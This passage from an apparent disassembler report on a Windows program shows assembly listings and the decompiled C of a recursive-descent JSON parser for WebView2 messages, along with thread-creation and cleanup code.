1400070da	48 8b 8c 24 e0 00 00 00	MOV RCX,qword ptr [RSP + local_1c8[16]]
1400070e2	e8 f9 87 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
1400070e7	f6 84 24 30 01 00 00 01	TEST byte ptr [RSP + local_168],0x1
1400070ef	74 a0	JZ LAB_140007091
LAB_1400070f1:
1400070f1	48 8b 8c 24 40 01 00 00	MOV RCX,qword ptr [RSP + local_158]
1400070f9	e8 e2 87 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
1400070fe	f6 84 24 88 00 00 00 01	TEST byte ptr [RSP + local_210],0x1
140007106	74 93	JZ LAB_14000709b
LAB_140007108:
140007108	48 8b 8c 24 98 00 00 00	MOV RCX,qword ptr [RSP + local_200]
140007110	e8 cb 87 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140007115	f6 84 24 08 02 00 00 01	TEST byte ptr [RSP + local_90],0x1
14000711d	74 86	JZ LAB_1400070a5
LAB_14000711f:
14000711f	48 8b 8c 24 18 02 00 00	MOV RCX,qword ptr [RSP + local_80]
140007127	e8 b4 87 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
14000712c	f6 84 24 a0 00 00 00 01	TEST byte ptr [RSP + local_1f8[0]],0x1
140007134	0f 84 79 ff ff ff	JZ LAB_1400070b3
LAB_14000713a:
14000713a	48 8b 8c 24 b0 00 00 00	MOV RCX,qword ptr [RSP + local_1e8]
140007142	e8 99 87 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140007147	f6 84 24 60 01 00 00 01	TEST byte ptr [RSP + local_138],0x1
14000714f	0f 84 f2 fd ff ff	JZ LAB_140006f47
LAB_140007155:
140007155	48 8b 8c 24 70 01 00 00	MOV RCX,qword ptr [RSP + local_128]
14000715d	e8 7e 87 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140007162	e9 e0 fd ff ff	JMP LAB_140006f47
LAB_140007167:
140007167	48 c7 44 24 28 00 00 00 …	MOV qword ptr [RSP + local_270],0x0
140007170	c7 44 24 20 00 00 00 00	MOV dword ptr [RSP + local_278],0x0
140007178	4c 8d 05 81 ce ff ff	LEA R8,[http_request]	; → http_request (B3, E3)
14000717f	31 c9	XOR ECX,ECX
140007181	31 d2	XOR EDX,EDX
140007183	49 89 d9	MOV R9,RBX
140007186	ff 15 64 b6 0a 00	CALL qword ptr [PTR_CreateThread_1400b27f0]
14000718c	48 85 c0	TEST RAX,RAX
14000718f	74 0e	JZ LAB_14000719f
140007191	48 89 c1	MOV RCX,RAX
140007194	ff 15 2e b6 0a 00	CALL qword ptr [PTR_CloseHandle_1400b27c8]
14000719a	e9 7e f7 ff ff	JMP LAB_14000691d
LAB_14000719f:
14000719f	f6 43 50 01	TEST byte ptr [RBX + 0x50],0x1
1400071a3	0f 85 83 00 00 00	JNZ LAB_14000722c
1400071a9	f6 43 38 01	TEST byte ptr [RBX + 0x38],0x1
1400071ad	0f 85 8c 00 00 00	JNZ LAB_14000723f
LAB_1400071b3:
1400071b3	f6 43 20 01	TEST byte ptr [RBX + 0x20],0x1
1400071b7	0f 85 95 00 00 00	JNZ LAB_140007252
LAB_1400071bd:
1400071bd	41 f6 04 24 01	TEST byte ptr [R12],0x1
1400071c2	74 09	JZ LAB_1400071cd
LAB_1400071c4:
1400071c4	48 8b 4b 18	MOV RCX,qword ptr [RBX + 0x18]
1400071c8	e8 13 87 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400071cd:
1400071cd	48 89 d9	MOV RCX,RBX
1400071d0	e8 0b 87 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
1400071d5	66 c7 44 24 30 00 00	MOV word ptr [RSP + local_268[0]],0x0
1400071dc	c6 84 24 d0 00 00 00 1a	MOV byte ptr [RSP + local_1c8[0]],0x1a
1400071e4	48 b8 74 68 72 65 61 64 …	MOV RAX,0x6620646165726874
1400071ee	48 89 84 24 d1 00 00 00	MOV qword ptr [RSP + local_1c8[1]],RAX
1400071f6	48 b8 64 20 66 61 69 6c …	MOV RAX,0x64656c6961662064
140007200	48 89 84 24 d6 00 00 00	MOV qword ptr [RSP + local_1c8[6]],RAX
140007208	c6 84 24 de 00 00 00 00	MOV byte ptr [RSP + local_1c8[14]],0x0
140007210	4c 8d 44 24 30	LEA R8,[RSP + 0x30]
140007215	4c 8d 8c 24 d0 00 00 00	LEA R9,[RSP + 0xd0]
14000721d	48 89 f1	MOV RCX,RSI
140007220	31 d2	XOR EDX,EDX
140007222	e8 d9 b6 ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
140007227	e9 e0 f6 ff ff	JMP LAB_14000690c
LAB_14000722c:
14000722c	48 8b 4b 60	MOV RCX,qword ptr [RBX + 0x60]
140007230	e8 ab 86 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140007235	f6 43 38 01	TEST byte ptr [RBX + 0x38],0x1
140007239	0f 84 74 ff ff ff	JZ LAB_1400071b3
LAB_14000723f:
14000723f	48 8b 4b 48	MOV RCX,qword ptr [RBX + 0x48]
140007243	e8 98 86 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140007248	f6 43 20 01	TEST byte ptr [RBX + 0x20],0x1
14000724c	0f 84 6b ff ff ff	JZ LAB_1400071bd
LAB_140007252:
140007252	48 8b 4b 30	MOV RCX,qword ptr [RBX + 0x30]
140007256	e8 85 86 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
14000725b	41 f6 04 24 01	TEST byte ptr [R12],0x1
140007260	0f 85 5e ff ff ff	JNZ LAB_1400071c4
140007266	e9 62 ff ff ff	JMP LAB_1400071cd
LAB_14000726b:
14000726b	e8 80 d7 ff ff	CALL FUN_1400049f0	; FUN_1400049f0: __acrt_iob_func, RtlUnwindEx
LAB_140007270:
140007270	e8 0b 16 00 00	CALL FUN_140008880	; FUN_140008880: __acrt_iob_func, RtlUnwindEx
LAB_140007275:
140007275	e8 76 d7 ff ff	CALL FUN_1400049f0	; FUN_1400049f0: __acrt_iob_func, RtlUnwindEx

json_parser

0x1400075c01644 bytes

ulonglong json_parser(longlong * param_1, undefined4 * param_2, char * * param_3, ulonglong param_4)

Recursive-descent JSON parser for incoming WebView2 messages; handles strings, arrays, objects, numbers

Cited as: E20
Behaviours: B10
Called from: ui_thread_handler, json_parser
Calls: json_parser, FUN_140007cb0, FUN_140007e40, FUN_140008250, FUN_140008530, FUN_140008de0, FUN_14001f8e0, strncmp, strtod

Decompiled C · 368 lines

ulonglong json_parser(longlong *param_1,undefined4 *param_2,char **param_3,ulonglong param_4)

{
  byte bVar1;
  double dVar2;
  bool bVar3;
  void *pvVar4;
  int iVar5;
  undefined8 uVar6;
  byte *pbVar7;
  byte *pbVar8;
  ulonglong uVar9;
  ulonglong *puVar10;
  undefined7 uVar13;
  byte *pbVar11;
  byte *pbVar12;
  void *pvVar14;
  char *local_d0;
  ulonglong uStack_c8;
  ulonglong uStack_c0;
  ulonglong uStack_b8;
  void *pvStack_b0;
  void *local_a8;
  ulonglong uStack_a0;
  ulonglong local_98;
  void *pvStack_90;
  void *local_88;
  ulonglong uStack_80;
  ulonglong local_78;
  ulonglong uStack_70;
  void *local_68;
  longlong *local_60;
  
  pbVar11 = (byte *)*param_1;
  while( true ) {
    uVar9 = (ulonglong)*pbVar11;
    uVar13 = (undefined7)((ulonglong)pbVar11 >> 8);
    if (0x22 < uVar9) break;
    if ((0x100002600U >> (uVar9 & 0x3f) & 1) == 0) {
      if (uVar9 == 0x22) {
        uVar6 = FUN_140007e40(param_1,(ulonglong *)(param_2 + 4),(ulonglong)param_3,param_4);
        if ((char)uVar6 == '\0') goto LAB_14000795b;
        *param_2 = 4;
        pbVar12 = (byte *)CONCAT71(uVar13,1);
        goto LAB_14000795d;
      }
      break;
    }
    pbVar11 = pbVar11 + 1;
    *param_1 = (longlong)pbVar11;
  }
  switch(*pbVar11) {
  case 0x5b:
    pbVar12 = pbVar11 + 1;
    *param_1 = (longlong)pbVar12;
    *param_2 = 5;
    pbVar8 = (byte *)*param_1;
    while( true ) {
      pbVar7 = pbVar8 + 1;
      bVar1 = *pbVar8;
      if ((0x20 < (ulonglong)bVar1) || ((0x100002600U >> ((ulonglong)bVar1 & 0x3f) & 1) == 0))
      break;
      *param_1 = (longlong)pbVar7;
      pbVar8 = pbVar7;
    }
    if (bVar1 != 0x5d) {
      local_60 = (longlong *)(param_2 + 10);
      do {
        local_d0 = (char *)((ulonglong)local_d0 & 0xffffffff00000000);
        local_88 = (void *)0x0;
        uStack_80 = 0;
        local_98 = 0;
        pvStack_90 = (void *)0x0;
        local_a8 = (void *)0x0;
        uStack_a0 = 0;
        uStack_b8 = 0;
        pvStack_b0 = (void *)0x0;
        uStack_c8 = 0;
        uStack_c0 = 0;
        uVar9 = json_parser(param_1,(undefined4 *)&local_d0,param_3,param_4);
        bVar3 = true;
        if ((char)uVar9 == '\0') {
LAB_140007820:
          pbVar12 = (byte *)0x0;
        }
        else {
          puVar10 = *(ulonglong **)(param_2 + 0xc);
          if (puVar10 < *(ulonglong **)(param_2 + 0xe)) {
            *puVar10 = (ulonglong)local_d0;
            puVar10[1] = uStack_c8;
            puVar10[4] = (ulonglong)pvStack_b0;
            puVar10[2] = uStack_c0;
            puVar10[3] = uStack_b8;
            uStack_c0 = 0;
            uStack_b8 = 0;
            pvStack_b0 = (void *)0x0;
            puVar10[5] = 0;
            puVar10[6] = 0;
            puVar10[7] = 0;
            puVar10[5] = (ulonglong)local_a8;
            puVar10[6] = uStack_a0;
            puVar10[7] = local_98;
            local_a8 = (void *)0x0;
            uStack_a0 = 0;
            local_98 = 0;
            puVar10[8] = 0;
            puVar10[9] = 0;
            puVar10[10] = 0;
            puVar10[8] = (ulonglong)pvStack_90;
            puVar10[9] = (ulonglong)local_88;
            puVar10[10] = uStack_80;
            pvStack_90 = (void *)0x0;
            local_88 = (void *)0x0;
            uStack_80 = 0;
            puVar10 = puVar10 + 0xb;
          }
          else {
            puVar10 = (ulonglong *)FUN_140008250(local_60,&local_d0,param_3,param_4);
          }
          *(ulonglong **)(param_2 + 0xc) = puVar10;
          pbVar11 = (byte *)*param_1;
          while( true ) {
            pbVar8 = pbVar11 + 1;
            uVar9 = (ulonglong)*pbVar11;
            if (0x2c < uVar9) break;
            if ((0x100002600U >> (uVar9 & 0x3f) & 1) == 0) {
              if (uVar9 == 0x2c) {
                bVar3 = false;
                *param_1 = (longlong)pbVar8;
                goto LAB_140007822;
              }
              break;
            }
            *param_1 = (longlong)pbVar8;
            pbVar11 = pbVar8;
          }
          if (*pbVar11 != 0x5d) goto LAB_140007820;
          bVar3 = true;
          *param_1 = (longlong)pbVar8;
          pbVar12 = (byte *)CONCAT71((int7)((ulonglong)pbVar12 >> 8),1);
        }
LAB_140007822:
        pvVar4 = pvStack_90;
        if (pvStack_90 != (void *)0x0) {
          pbVar12 = (byte *)((ulonglong)pbVar12 & 0xffffffff);
          for (pvVar14 = local_88; pvVar4 != pvVar14; pvVar14 = (void *)((longlong)pvVar14 + -0x70))
          {
            FUN_140007cb0((longlong)pvVar14 + -0x58);
            if ((*(byte *)((longlong)pvVar14 + -0x70) & 1) != 0) {
              FUN_14001f8e0(*(void **)((longlong)pvVar14 + -0x60));
            }
          }
          local_88 = pvVar4;
          FUN_14001f8e0(pvStack_90);
        }
        if (local_a8 != (void *)0x0) {
          FUN_140008de0((longlong)&local_a8,(longlong)local_a8);
          FUN_14001f8e0(local_a8);
        }
        if ((uStack_c0 & 1) != 0) {
          FUN_14001f8e0(pvStack_b0);
        }
      } while (!bVar3);
      goto LAB_14000795d;
    }
    goto LAB_14000790d;
  default:
    local_d0 = (char *)0x0;
    dVar2 = strtod((char *)pbVar11,&local_d0);
    pbVar12 = (byte *)CONCAT71(uVar13,local_d0 != (char *)*param_1);
    if (local_d0 != (char *)*param_1) {
      *param_1 = (longlong)local_d0;
      *param_2 = 3;
      *(double *)(param_2 + 2) = dVar2;
    }
    goto LAB_14000795d;
  case 0x66:
    iVar5 = strncmp((char *)pbVar11,"false",5);
    if (iVar5 == 0) {
      *param_1 = (longlong)(pbVar11 + 5);
      *param_2 = 1;
      pbVar12 = (byte *)CONCAT71((int7)((ulonglong)(pbVar11 + 5) >> 8),1);
      goto LAB_14000795d;
    }
    break;
  case 0x6e:
    iVar5 = strncmp((char *)pbVar11,"null",4);
    if (iVar5 == 0) {
      *param_1 = (longlong)(pbVar11 + 4);
      *param_2 = 0;
      pbVar12 = (byte *)CONCAT71((int7)((ulonglong)(pbVar11 + 4) >> 8),1);
      goto LAB_14000795d;
    }
    break;
  case 0x74:
    iVar5 = strncmp((char *)pbVar11,"true",4);
    if (iVar5 == 0) {
      *param_1 = (longlong)(pbVar11 + 4);
      *param_2 = 2;
      pbVar12 = (byte *)CONCAT71((int7)((ulonglong)(pbVar11 + 4) >> 8),1);
      goto LAB_14000795d;
    }
    break;
  case 0x7b:
    pbVar12 = pbVar11 + 1;
    *param_1 = (longlong)pbVar12;
    *param_2 = 6;
    pbVar8 = (byte *)*param_1;
    while( true ) {
      pbVar7 = pbVar8 + 1;
      bVar1 = *pbVar8;
      if ((0x20 < (ulonglong)bVar1) || ((0x100002600U >> ((ulonglong)bVar1 & 0x3f) & 1) == 0))
      break;
      *param_1 = (longlong)pbVar7;
      pbVar8 = pbVar7;
    }
    if (bVar1 != 0x7d) {
LAB_14000798f:
      pbVar11 = (byte *)*param_1;
      while( true ) {
        uVar9 = (ulonglong)*pbVar11;
        if (0x22 < uVar9) goto LAB_14000795b;
        if ((0x100002600U >> (uVar9 & 0x3f) & 1) == 0) break;
        *param_1 = (longlong)(pbVar11 + 1);
        pbVar11 = pbVar11 + 1;
      }
      if (uVar9 == 0x22) {
        local_78 = 0;
        uStack_70 = 0;
        local_68 = (void *)0x0;
        uVar6 = FUN_140007e40(param_1,&local_78,(ulonglong)param_3,param_4);
        bVar3 = true;
        if ((char)uVar6 != '\0') {
          pbVar11 = (byte *)*param_1;
          while( true ) {
            pbVar8 = pbVar11 + 1;
            uVar9 = (ulonglong)*pbVar11;
            if (0x3a < uVar9) break;
            if ((0x100002600U >> (uVar9 & 0x3f) & 1) == 0) {
              if (uVar9 == 0x3a) {
                *param_1 = (longlong)pbVar8;
                local_d0 = (char *)((ulonglong)local_d0 & 0xffffffff00000000);
                local_88 = (void *)0x0;
                uStack_80 = 0;
                local_98 = 0;
                pvStack_90 = (void *)0x0;
                local_a8 = (void *)0x0;
                uStack_a0 = 0;
                uStack_b8 = 0;
                pvStack_b0 = (void *)0x0;
                uStack_c8 = 0;
                uStack_c0 = 0;
                uVar9 = json_parser(param_1,(undefined4 *)&local_d0,param_3,param_4);
                bVar3 = true;
                if ((char)uVar9 == '\0') goto LAB_140007b75;
                puVar10 = *(ulonglong **)(param_2 + 0x12);
                if (puVar10 < *(ulonglong **)(param_2 + 0x14)) {
                  puVar10[2] = (ulonglong)local_68;
                  *puVar10 = local_78;
                  puVar10[1] = uStack_70;
                  local_78 = 0;
                  uStack_70 = 0;
                  local_68 = (void *)0x0;
                  puVar10[3] = (ulonglong)local_d0;
                  puVar10[4] = uStack_c8;
                  puVar10[7] = (ulonglong)pvStack_b0;
                  puVar10[5] = uStack_c0;
                  puVar10[6] = uStack_b8;
                  uStack_c0 = 0;
                  uStack_b8 = 0;
                  pvStack_b0 = (void *)0x0;
                  puVar10[8] = (ulonglong)local_a8;
                  puVar10[9] = uStack_a0;
                  puVar10[10] = local_98;
                  local_a8 = (void *)0x0;
                  uStack_a0 = 0;
                  local_98 = 0;
                  puVar10[0xb] = (ulonglong)pvStack_90;
                  puVar10[0xc] = (ulonglong)local_88;
                  puVar10[0xd] = uStack_80;
                  pvStack_90 = (void *)0x0;
                  local_88 = (void *)0x0;
                  uStack_80 = 0;
                  puVar10 = puVar10 + 0xe;
                }
                else {
                  param_3 = &local_d0;
                  puVar10 = (ulonglong *)
                            FUN_140008530((longlong *)(param_2 + 0x10),&local_78,param_3,param_4);
                }
                *(ulonglong **)(param_2 + 0x12) = puVar10;
                pbVar11 = (byte *)*param_1;
                goto LAB_140007b40;
              }
              break;
            }
            *param_1 = (longlong)pbVar8;
            pbVar11 = pbVar8;
          }
        }
        pbVar12 = (byte *)0x0;
        goto LAB_140007af8;
      }
      break;
    }
LAB_14000790d:
    *param_1 = (longlong)pbVar7;
    pbVar12 = (byte *)CONCAT71((int7)((ulonglong)(pbVar11 + 1) >> 8),1);
    goto LAB_14000795d;
  }
LAB_14000795b:
  pbVar12 = (byte *)0x0;
LAB_14000795d:
  return (ulonglong)pbVar12 & 0xffffff01;
LAB_140007b40:
  pbVar8 = pbVar11 + 1;
  uVar9 = (ulonglong)*pbVar11;
  if (0x2c < uVar9) goto LAB_140007b66;
  if ((0x100002600U >> (uVar9 & 0x3f) & 1) == 0) {
    if (uVar9 == 0x2c) {
      bVar3 = false;
      *param_1 = (longlong)pbVar8;
      goto LAB_140007b77;
    }
    goto LAB_140007b66;
  }
  *param_1 = (longlong)pbVar8;
  pbVar11 = pbVar8;
  goto LAB_140007b40;
LAB_140007b66:
  if (*pbVar11 == 0x7d) {
    bVar3 = true;
    *param_1 = (longlong)pbVar8;
    pbVar12 = (byte *)CONCAT71((int7)((ulonglong)pbVar12 >> 8),1);
  }
  else {
LAB_140007b75:
    pbVar12 = (byte *)0x0;
  }
LAB_140007b77:
  pvVar14 = pvStack_90;
  pvVar4 = local_88;
  if (pvStack_90 != (void *)0x0) {
    for (; pvVar14 != pvVar4; pvVar4 = (void *)((longlong)pvVar4 + -0x70)) {
      FUN_140007cb0((longlong)pvVar4 + -0x58);
      if ((*(byte *)((longlong)pvVar4 + -0x70) & 1) != 0) {
        FUN_14001f8e0(*(void **)((longlong)pvVar4 + -0x60));
      }
    }
    local_88 = pvVar14;
    FUN_14001f8e0(pvStack_90);
  }
  if (local_a8 != (void *)0x0) {
    FUN_140008de0((longlong)&local_a8,(longlong)local_a8);
    FUN_14001f8e0(local_a8);
  }
  if ((uStack_c0 & 1) != 0) {
    FUN_14001f8e0(pvStack_b0);
  }
LAB_140007af8:
  if ((local_78 & 1) != 0) {
    FUN_14001f8e0(local_68);
  }
  if (bVar3) goto LAB_14000795d;
  goto LAB_14000798f;
}

Assembly · 405 instructions, 18 annotated

Address	Bytes	Instruction	Comment
1400075c0	41 57	PUSH R15
1400075c2	41 56	PUSH R14
1400075c4	41 55	PUSH R13
1400075c6	41 54	PUSH R12
1400075c8	56	PUSH RSI
1400075c9	57	PUSH RDI
1400075ca	55	PUSH RBP
1400075cb	53	PUSH RBX
1400075cc	48 81 ec b8 00 00 00	SUB RSP,0xb8
1400075d3	0f 29 b4 24 a0 00 00 00	MOVAPS xmmword ptr [RSP + local_58[0]],XMM6
1400075db	48 89 d6	MOV RSI,RDX
1400075de	48 89 cf	MOV RDI,RCX
1400075e1	48 8b 19	MOV RBX,qword ptr [RCX]
1400075e4	48 bd 00 26 00 00 01 00 …	MOV RBP,0x100002600
1400075ee	66 90	NOP
LAB_1400075f0:
1400075f0	0f b6 03	MOVZX EAX,byte ptr [RBX]
1400075f3	48 83 f8 22	CMP RAX,0x22
1400075f7	77 35	JA LAB_14000762e
1400075f9	48 0f a3 c5	BT RBP,RAX
1400075fd	73 08	JNC LAB_140007607
1400075ff	48 ff c3	INC RBX
140007602	48 89 1f	MOV qword ptr [RDI],RBX
140007605	eb e9	JMP LAB_1400075f0
LAB_140007607:
140007607	48 83 f8 22	CMP RAX,0x22
14000760b	75 21	JNZ LAB_14000762e
14000760d	48 8d 56 10	LEA RDX,[RSI + 0x10]
140007611	48 89 f9	MOV RCX,RDI
140007614	e8 27 08 00 00	CALL FUN_140007e40	; FUN_140007e40: memmove
140007619	84 c0	TEST AL,AL
14000761b	0f 84 3a 03 00 00	JZ LAB_14000795b
140007621	c7 06 04 00 00 00	MOV dword ptr [RSI],0x4
140007627	b3 01	MOV BL,0x1
140007629	e9 2f 03 00 00	JMP LAB_14000795d
LAB_14000762e:
14000762e	83 c0 a5	ADD EAX,-0x5b
140007631	83 f8 20	CMP EAX,0x20
140007634	0f 87 dc 05 00 00	JA caseD_5c
14000763a	48 8d 0d 2f 7e 09 00	LEA RCX,[switchdataD_14009f470]
140007641	48 63 04 81	MOVSXD RAX,dword ptr [RCX + RAX*0x4]
140007645	48 01 c8	ADD RAX,RCX
140007648	ff e0	JMP RAX
caseD_5b:
14000764a	48 ff c3	INC RBX
14000764d	48 89 1f	MOV qword ptr [RDI],RBX
140007650	c7 06 05 00 00 00	MOV dword ptr [RSI],0x5
140007656	48 8b 07	MOV RAX,qword ptr [RDI]
140007659	0f 1f 80 00 00 00 00	NOP dword ptr [RAX]
LAB_140007660:
140007660	48 ff c0	INC RAX
140007663	0f b6 48 ff	MOVZX ECX,byte ptr [RAX + -0x1]
140007667	48 83 f9 20	CMP RCX,0x20
14000766b	77 3c	JA LAB_1400076a9
14000766d	48 0f a3 cd	BT RBP,RCX
140007671	73 36	JNC LAB_1400076a9
140007673	48 89 07	MOV qword ptr [RDI],RAX
140007676	eb e8	JMP LAB_140007660
caseD_6e:
140007678	48 8d 15 7d 43 09 00	LEA RDX,[DAT_14009b9fc]
14000767f	41 b8 04 00 00 00	MOV R8D,0x4
140007685	48 89 d9	MOV RCX,RBX
140007688	e8 e3 2b 09 00	CALL strncmp
14000768d	85 c0	TEST EAX,EAX
14000768f	0f 85 c6 02 00 00	JNZ LAB_14000795b
140007695	48 83 c3 04	ADD RBX,0x4
140007699	48 89 1f	MOV qword ptr [RDI],RBX
14000769c	c7 06 00 00 00 00	MOV dword ptr [RSI],0x0
1400076a2	b3 01	MOV BL,0x1
1400076a4	e9 b4 02 00 00	JMP LAB_14000795d
LAB_1400076a9:
1400076a9	83 f9 5d	CMP ECX,0x5d
1400076ac	0f 84 5b 02 00 00	JZ LAB_14000790d
1400076b2	4c 8d 6c 24 30	LEA R13,[RSP + 0x30]
1400076b7	48 8d 46 28	LEA RAX,[RSI + 0x28]
1400076bb	48 89 84 24 98 00 00 00	MOV qword ptr [RSP + local_60],RAX
1400076c3	0f 57 f6	XORPS XMM6,XMM6
1400076c6	4c 8d 64 24 28	LEA R12,[RSP + 0x28]
1400076cb	eb 0c	JMP LAB_1400076d9
LAB_1400076d0:
1400076d0	45 84 f6	TEST R14B,R14B
1400076d3	0f 85 84 02 00 00	JNZ LAB_14000795d
LAB_1400076d9:
1400076d9	c7 44 24 28 00 00 00 00	MOV dword ptr [RSP + local_d0[0]],0x0
1400076e1	41 0f 11 75 40	MOVUPS xmmword ptr [R13 + local_88[0]],XMM6
1400076e6	41 0f 11 75 30	MOVUPS xmmword ptr [R13 + local_98[0]],XMM6
1400076eb	41 0f 11 75 20	MOVUPS xmmword ptr [R13 + local_a8[0]],XMM6
1400076f0	41 0f 11 75 10	MOVUPS xmmword ptr [R13 + local_d0[24]],XMM6
1400076f5	41 0f 11 75 00	MOVUPS xmmword ptr [R13],XMM6
1400076fa	48 89 f9	MOV RCX,RDI
1400076fd	4c 89 e2	MOV RDX,R12
140007700	e8 bb fe ff ff	CALL json_parser
140007705	41 b6 01	MOV R14B,0x1
140007708	84 c0	TEST AL,AL
14000770a	0f 84 10 01 00 00	JZ LAB_140007820
140007710	48 8b 46 30	MOV RAX,qword ptr [RSI + 0x30]
140007714	48 3b 46 38	CMP RAX,qword ptr [RSI + 0x38]
140007718	0f 83 a2 00 00 00	JNC LAB_1400077c0
14000771e	0f 10 44 24 28	MOVUPS XMM0,xmmword ptr [RSP + local_d0[0]]
140007723	0f 11 00	MOVUPS xmmword ptr [RAX],XMM0
140007726	49 8b 4d 18	MOV RCX,qword ptr [R13 + Stack[-0xb0]]
14000772a	48 89 48 20	MOV qword ptr [RAX + 0x20],RCX
14000772e	41 0f 10 45 08	MOVUPS XMM0,xmmword ptr [R13 + local_d0[16]]
140007733	0f 11 40 10	MOVUPS xmmword ptr [RAX + 0x10],XMM0
140007737	41 0f 11 75 08	MOVUPS xmmword ptr [R13 + local_d0[16]],XMM6
14000773c	49 c7 45 18 00 00 00 00	MOV qword ptr [R13 + Stack[-0xb0]],0x0
140007744	0f 11 70 28	MOVUPS xmmword ptr [RAX + 0x28],XMM6
140007748	48 c7 40 38 00 00 00 00	MOV qword ptr [RAX + 0x38],0x0
140007750	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_a8[0]]
140007755	48 89 48 28	MOV qword ptr [RAX + 0x28],RCX
140007759	48 8b 4c 24 58	MOV RCX,qword ptr [RSP + local_a8[8]]
14000775e	48 89 48 30	MOV qword ptr [RAX + 0x30],RCX
140007762	48 8b 4c 24 60	MOV RCX,qword ptr [RSP + local_98[0]]
140007767	48 89 48 38	MOV qword ptr [RAX + 0x38],RCX
14000776b	48 8d 4c 24 50	LEA RCX,[RSP + 0x50]
140007770	0f 11 31	MOVUPS xmmword ptr [RCX],XMM6
140007773	48 c7 41 10 00 00 00 00	MOV qword ptr [RCX + local_98[0]],0x0
14000777b	0f 11 70 40	MOVUPS xmmword ptr [RAX + 0x40],XMM6
14000777f	48 c7 40 50 00 00 00 00	MOV qword ptr [RAX + 0x50],0x0
140007787	48 8b 4c 24 68	MOV RCX,qword ptr [RSP + local_98[8]]
14000778c	48 89 48 40	MOV qword ptr [RAX + 0x40],RCX
140007790	48 8b 4c 24 70	MOV RCX,qword ptr [RSP + local_88[0]]
140007795	48 89 48 48	MOV qword ptr [RAX + 0x48],RCX
140007799	48 8b 4c 24 78	MOV RCX,qword ptr [RSP + local_88[8]]
14000779e	48 89 48 50	MOV qword ptr [RAX + 0x50],RCX
1400077a2	41 0f 11 75 38	MOVUPS xmmword ptr [R13 + local_98[8]],XMM6
1400077a7	49 c7 45 48 00 00 00 00	MOV qword ptr [R13 + local_88[8]],0x0
1400077af	48 83 c0 58	ADD RAX,0x58
1400077b3	eb 1b	JMP LAB_1400077d0
LAB_1400077c0:
1400077c0	48 8b 8c 24 98 00 00 00	MOV RCX,qword ptr [RSP + local_60]
1400077c8	4c 89 e2	MOV RDX,R12
1400077cb	e8 80 0a 00 00	CALL FUN_140008250	; FUN_140008250: malloc, free
LAB_1400077d0:
1400077d0	48 89 46 30	MOV qword ptr [RSI + 0x30],RAX
1400077d4	48 8b 07	MOV RAX,qword ptr [RDI]
1400077d7	66 0f 1f 84 00 00 00 00 …	NOP word ptr [RAX + RAX*0x1]
LAB_1400077e0:
1400077e0	48 ff c0	INC RAX
1400077e3	0f b6 48 ff	MOVZX ECX,byte ptr [RAX + -0x1]
1400077e7	48 83 f9 2c	CMP RCX,0x2c
1400077eb	77 23	JA LAB_140007810
1400077ed	48 0f a3 cd	BT RBP,RCX
1400077f1	73 0d	JNC LAB_140007800
1400077f3	48 89 07	MOV qword ptr [RDI],RAX
1400077f6	eb e8	JMP LAB_1400077e0
LAB_140007800:
140007800	48 83 f9 2c	CMP RCX,0x2c
140007804	75 0a	JNZ LAB_140007810
140007806	45 31 f6	XOR R14D,R14D
140007809	48 89 07	MOV qword ptr [RDI],RAX
14000780c	eb 14	JMP LAB_140007822
LAB_140007810:
140007810	83 f9 5d	CMP ECX,0x5d
140007813	75 0b	JNZ LAB_140007820
140007815	41 b6 01	MOV R14B,0x1
140007818	48 89 07	MOV qword ptr [RDI],RAX
14000781b	b3 01	MOV BL,0x1
14000781d	eb 03	JMP LAB_140007822
LAB_140007820:
140007820	31 db	XOR EBX,EBX
LAB_140007822:
140007822	4c 8b 7c 24 68	MOV R15,qword ptr [RSP + local_98[8]]
140007827	4d 85 ff	TEST R15,R15
14000782a	74 74	JZ LAB_1400078a0
14000782c	45 89 f5	MOV R13D,R14D
14000782f	41 89 de	MOV R14D,EBX
140007832	48 89 f3	MOV RBX,RSI
140007835	4c 89 e6	MOV RSI,R12
140007838	4c 8b 64 24 70	MOV R12,qword ptr [RSP + local_88[0]]
14000783d	4c 89 f9	MOV RCX,R15
140007840	4d 39 e7	CMP R15,R12
140007843	75 14	JNZ LAB_140007859
140007845	eb 3e	JMP LAB_140007885
LAB_140007850:
140007850	49 83 c4 90	ADD R12,-0x70
140007854	4d 39 fc	CMP R12,R15
140007857	74 27	JZ LAB_140007880
LAB_140007859:
140007859	49 8d 4c 24 a8	LEA RCX,[R12 + -0x58]
14000785e	e8 4d 04 00 00	CALL FUN_140007cb0	; FUN_140007cb0: free
140007863	41 f6 44 24 90 01	TEST byte ptr [R12 + -0x70],0x1
140007869	74 e5	JZ LAB_140007850
14000786b	49 8b 4c 24 a0	MOV RCX,qword ptr [R12 + -0x60]
140007870	e8 6b 80 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140007875	eb d9	JMP LAB_140007850
LAB_140007880:
140007880	48 8b 4c 24 68	MOV RCX,qword ptr [RSP + local_98[8]]
LAB_140007885:
140007885	4c 89 7c 24 70	MOV qword ptr [RSP + local_88[0]],R15
14000788a	e8 51 80 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
14000788f	49 89 f4	MOV R12,RSI
140007892	48 89 de	MOV RSI,RBX
140007895	44 89 f3	MOV EBX,R14D
140007898	45 89 ee	MOV R14D,R13D
14000789b	4c 8d 6c 24 30	LEA R13,[RSP + 0x30]
LAB_1400078a0:
1400078a0	48 8b 54 24 50	MOV RDX,qword ptr [RSP + local_a8[0]]
1400078a5	48 85 d2	TEST RDX,RDX
1400078a8	74 14	JZ LAB_1400078be
1400078aa	48 8d 4c 24 50	LEA RCX,[RSP + 0x50]
1400078af	e8 2c 15 00 00	CALL FUN_140008de0	; FUN_140008de0: free
1400078b4	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + 0x50]
1400078b9	e8 22 80 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_1400078be:
